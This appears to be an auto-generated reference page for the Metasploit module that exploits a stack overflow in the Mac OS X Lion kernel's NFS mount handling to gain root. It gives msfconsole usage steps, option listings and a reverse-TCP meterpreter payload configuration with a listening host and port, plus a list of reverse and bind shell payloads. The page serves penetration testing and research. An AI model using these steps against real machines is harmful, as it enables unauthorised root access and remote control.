Mac OS X NFS Mount Privilege Escalation Exploit - Metasploit
This page contains detailed information about how to use the exploit/osx/local/nfs_mount_root metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mac OS X NFS Mount Privilege Escalation Exploit
Module: exploit/osx/local/nfs_mount_root
Source code: modules/exploits/osx/local/nfs_mount_root.rb
Disclosure date: 2014-04-11
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This exploit leverages a stack buffer overflow vulnerability to escalate privileges. The vulnerable function nfs_convert_old_nfs_args does not verify the size of a user-provided argument before copying it to the stack. As a result, by passing a large size as an argument, a local user can overwrite the stack with arbitrary content. Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/osx/local/nfs_mount_root
msf exploit(nfs_mount_root) > show targets
... a list of targets ...
msf exploit(nfs_mount_root) > set TARGET target-id
msf exploit(nfs_mount_root) > show options
... show and set options ...
msf exploit(nfs_mount_root) > set SESSION session-id
msf exploit(nfs_mount_root) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the osx/local/nfs_mount_root exploit module looks in the msfconsole:
msf6 > use exploit/osx/local/nfs_mount_root
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/nfs_mount_root) > show info
Name: Mac OS X NFS Mount Privilege Escalation Exploit
Module: exploit/osx/local/nfs_mount_root
Platform: OSX
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-04-11
Provided by:
Kenzley Alphonse
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Mac OS X 10.7 Lion x64 (Native Payload)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This exploit leverages a stack buffer overflow vulnerability to
escalate privileges. The vulnerable function
nfs_convert_old_nfs_args does not verify the size of a user-provided
argument before copying it to the stack. As a result, by passing a
large size as an argument, a local user can overwrite the stack with
arbitrary content. Mac OS X Lion Kernel <= xnu-1699.32.7 except
xnu-1699.24.8 are affected.
References:
https://www.exploit-db.com/exploits/32813
Module Options
This is a complete list of options available in the osx/local/nfs_mount_root exploit:
msf6 exploit(osx/local/nfs_mount_root) > show options
Module options (exploit/osx/local/nfs_mount_root):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
Exploit target:
Id Name
-- ----
0 Mac OS X 10.7 Lion x64 (Native Payload)
Advanced Options
Here is a complete list of advanced options supported by the osx/local/nfs_mount_root exploit:
msf6 exploit(osx/local/nfs_mount_root) > show advanced
Module advanced options (exploit/osx/local/nfs_mount_root):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/local/nfs_mount_root module can exploit:
msf6 exploit(osx/local/nfs_mount_root) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X 10.7 Lion x64 (Native Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/nfs_mount_root exploit:
msf6 exploit(osx/local/nfs_mount_root) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/local/nfs_mount_root exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/local/nfs_mount_root) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
57: end
58: end
59:
60: def exploit
61: if is_root?
62: fail_with Failure::BadConfig, 'Session already has root privileges'
63: end
64:
65: if check != CheckCode::Appears
66: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
67: end
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
61: if is_root?
62: fail_with Failure::BadConfig, 'Session already has root privileges'
63: end
64:
65: if check != CheckCode::Appears
66: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
67: end
68:
69: osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
70: file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
71: exploit = File.read(file)
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14751 Merged Pull Request: msftidy: Fix exploit module checks for author and stack buffer overflow
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10118 Merged Pull Request: Cleanup OSX local exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5917 Merged Pull Request: Update local exploit checks to follow the guidelines.
- #3311 Merged Pull Request: Fixup release
- #3292 Merged Pull Request: osx <= 10.7.5 nfs_mount privilege escalation local exploit
References
- CVE: Not available
- EDB-32813
See Also
Check also the following modules related to this module:
- auxiliary/dos/freebsd/nfsd/nfsd_mount
- auxiliary/scanner/nfs/nfsmount
- exploit/windows/ftp/labf_nfsaxe
- exploit/windows/nfs/xlink_nfsd
- exploit/osx/local/cfprefsd_race_condition
- exploit/osx/local/dyld_print_to_file_root
- exploit/osx/local/feedback_assistant_root
- exploit/osx/local/iokit_keyboard_root
- exploit/osx/local/libxpc_mitm_ssudo
- exploit/osx/local/persistence
- exploit/osx/local/root_no_password
- exploit/osx/local/rootpipe
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/local/rsh_libmalloc
- exploit/osx/local/setuid_tunnelblick
- exploit/osx/local/setuid_viscosity
- exploit/osx/local/sudo_password_bypass
- exploit/osx/local/timemachine_cmd_injection
- exploit/osx/local/tpwn
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- auxiliary/gather/saltstack_salt_root_key
- auxiliary/scanner/vnc/ard_root_pw
- exploit/linux/local/af_packet_chocobo_root_priv_esc
- exploit/linux/local/diamorphine_rootkit_signal_priv_esc
- exploit/linux/local/libuser_roothelper_priv_esc
- exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
- post/android/manage/remove_lock_root
- post/linux/busybox/smb_share_root
- post/multi/escalate/cups_root_file_read
- exploit/android/local/put_user_vroot
- exploit/linux/local/apport_abrt_chroot_priv_esc
- exploit/unix/local/chkrootkit
- exploit/linux/local/ubuntu_enlightenment_mount_priv_esc
- exploit/linux/local/vmware_mount
Authors
- Kenzley Alphonse
- joev
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
